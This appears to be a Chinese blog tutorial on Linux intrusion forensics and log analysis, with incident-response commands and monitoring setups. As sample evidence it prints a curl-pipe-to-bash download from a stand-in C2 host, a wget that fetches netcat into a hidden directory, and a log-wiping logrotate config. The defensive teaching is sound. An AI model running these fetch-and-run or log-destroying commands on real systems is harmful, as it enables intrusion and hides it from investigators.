一、从异常告警到真相大白
最近朋友任职的在线教育平台遭遇数据泄露,攻击者在凌晨三点完成入侵。他们服务器是CentOS系统,安全团队通过日志溯源时却抓耳挠腮——有人用root执行了异常命令,但系统日志都被清空过一轮。这就像暴风雨后查水表,虽然雨停了,但还能通过地面痕迹判断水流方向。
这事件映射出现实困境:Linux系统往往直接暴露在公网,但85%的中小企业缺乏完善的审计体系。本系列将用生产环境中真实案例,还原如何通过日志+取证的组合拳构建完整的入侵拼图。
二、基础取证工具全家桶(现场搭建)
在开始调查前要准备好"三件套":
# CentOS取证工具包安装(使用yum包管理器)
sudo yum install -y audit sleuthkit libtsk-java # 审计系统与文件分析工具
sudo rpm -ivh https://forensics.cert.org/cert-forensics-tools-release-el7.rpm # 第三方取证源
sudo yum install plaso log2timeline # 时间轴生成工具
当接到服务器被黑的紧急通知时,首要任务是创建内存快照:
# 使用LiME获取物理内存镜像(需内核模块支持)
sudo insmod lime-5.4.89-19.0016.el7.x86_64.ko "path=/mnt/nas/memdump_$(date +%s).lime format=lime"
此时千万别急着关机!内存中的进程列表、网络连接等易失性数据可能包含重要线索。去年某电商平台就是靠内存分析发现了攻击者用过的反弹shell进程。
三、日志分析的"望闻问切"
假设我们拿到了一台问题服务器的/var/log目录,先从认证日志切入:
# 查看暴力破解痕迹(示例基于rsyslog日志格式)
grep "Failed password" /var/log/secure | awk '{print $9}' | sort | uniq -c | sort -nr
# 输出样例:
# 142 218.92.207.56
# 23 101.226.103.121
# 5 192.168.1.105
这组数据显示外部IP 218.92.207.56进行了密集的SSH爆破。但有个诡异点:内网IP 192.168.1.105也出现过5次失败记录,而该服务器应该只有公网接入。
这时可结合last命令确认登录情况:
last -i | grep -v '0.0.0.0\|127.0.0.1' # 排除本地登录
# 显示用户devops从192.168.1.105登录过两次
但网络拓扑显示该服务器不开放内网访问!这说明攻击者可能已控制内网跳板机,使用密钥进行了横向移动。
四、时间线魔术:将碎片拼成故事
当发现某重要文件被篡改时,使用extundelete尝试恢复:
extundelete /dev/sda1 --restore-file etc/shadow --after $(date -d "3 days ago" +%s)
但更高效的是建立完整的时间线:
# 使用log2timeline生成事件序列(EXT4文件系统示例)
sudo log2timeline.py --parsers 'winjob,linux' timeline.plaso /dev/sda1
psort.py -w timeline.csv timeline.plaso "date > '2023-05-01'" # 筛选特定时间
在CSV结果中看到两个关键事件:
2023-05-12T02:15:32+08:00,FILE,Modify,/usr/bin/curl (inode 13254)
2023-05-12T02:17:11+08:00,EVENT,Execve,"/usr/bin/curl -s http://malware.c2/backdoor.sh | bash"
攻击者在替换系统curl后,通过合法程序下载恶意脚本。这种方法能绕过传统的HIDS监控,但会被执行日志和文件哈希校验发现。
五、恶意软件现形记
某次应急响应中发现异常CPU占用,使用memdump分析:
# 使用Volatility3分析内存镜像(Python3工具集)
vol -f memory.dmp linux.bash | grep -A 10 'wget'
# 显示可疑命令:
# /usr/bin/wget http://badtg.xyz/tools/nc -O /tmp/.X11-unix/.cache && chmod +x /tmp/.X11-unix/.cache
攻击者使用双重隐藏技巧:将文件放在X11临时目录,并使用点开头的文件名。使用inotify实时监控可以捕获此类行为:
# 监控文件创建事件(基于inotify-tools包)
inotifywait -m /tmp/.X11-unix -e create | while read path action file; do
file_path="${path}/${file}"
[[ $(file -b "$file_path") =~ ELF ]] && \
echo "ELF文件被创建于隐藏目录:$file_path" | mail -s "异常警报" sec@corp.com
done
六、黑客抹痕与对抗取证
老练的攻击者会使用logrotate清理日志:
# 恶意logrotate配置示例 (/etc/logrotate.d/evil)
/var/log/secure {
daily
rotate 0 # 不保留旧日志
missingok
nocompress
prerotate
/usr/sbin/logrotate --force /etc/logrotate.d/evil >/dev/null 2>&1 &
endscript
}
对抗这种手法需要启用日志的实时同步:
# 使用rsyslog的ompipe模块将日志实时转发(需预先部署日志服务器)
module(load="ompipe")
action(type="ompipe" Pipe="/tmp/logpipe" template="RemoteLogTemplate")
然后在另一终端创建命名管道:
mkfifo /tmp/logpipe
tail -f /tmp/logpipe | nc logserver 514 # 实时传输到远程服务器
七、攻防三十六计
在虚拟化环境中,取证要考虑到云厂商的特殊性。某次AWS EC2入侵事件中,攻击者删除了大部分日志,但通过云审计日志发现了端倪:
# 使用AWS CLI查询CloudTrail日志(需要相应IAM权限)
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=DeleteLogGroup \
--start-time "2023-06-01T00:00:00" \
--end-time "2023-06-02T00:00:00" \
--query 'Events[*].CloudTrailEvent' --output text | jq .
结果显示攻击者在凌晨03:14删除了CloudWatch的日志组,这个行为本身被记录在云审计日志里,成为关键突破口。
八、构建免疫系统:让下次更从容
根据多次应急响应经验,推荐部署以下检测策略:
# 全盘文件完整性监控(使用AIDE)
sudo aideinit --force # 首次初始化数据库
echo "0 3 * * * /usr/sbin/aide --check | mail -s 'AIDE日报' sec@corp.com" | sudo tee /etc/cron.d/aide_check
针对进程隐藏的高级攻击,内核级检测更可靠:
# 使用SystemTap监控进程创建(需开发机内核头文件)
probe syscall.execve {
printf("%s[%d]执行: %s\n", execname(), pid(), argstr)
}
1、应用场景
生产服务器入侵调查、数据泄露溯源、合规审计证据收集、恶意软件行为分析、内部违规操作取证。
2、技术优缺点
优点:
- 无需商业软件即可完成基本取证
- 时间线重建能发现隐蔽关联
- 内存取证保留易失性证据
缺点:
- 日志被删除时修复成本高
- 内核工具使用门槛较高
- 全量监控对性能有影响
3、注意事项
- 取证前先做内存快照
- 使用写保护设备保存镜像
- 确保所有操作可复现
- 注意系统时间是否被篡改
- 云环境需结合厂商日志
4、总结
就像刑警需要培养现场直觉,安全人员也要建立"日志嗅觉"。通过本文的真实场景复现,我们可以形成系统的分析路径:从网络层日志定位入口点,系统层日志跟踪操作轨迹,最后用文件取证形成证据链。防御总是滞后于攻击,完整可靠的日志体系能让"亡羊补牢"变成"瓮中捉鳖"。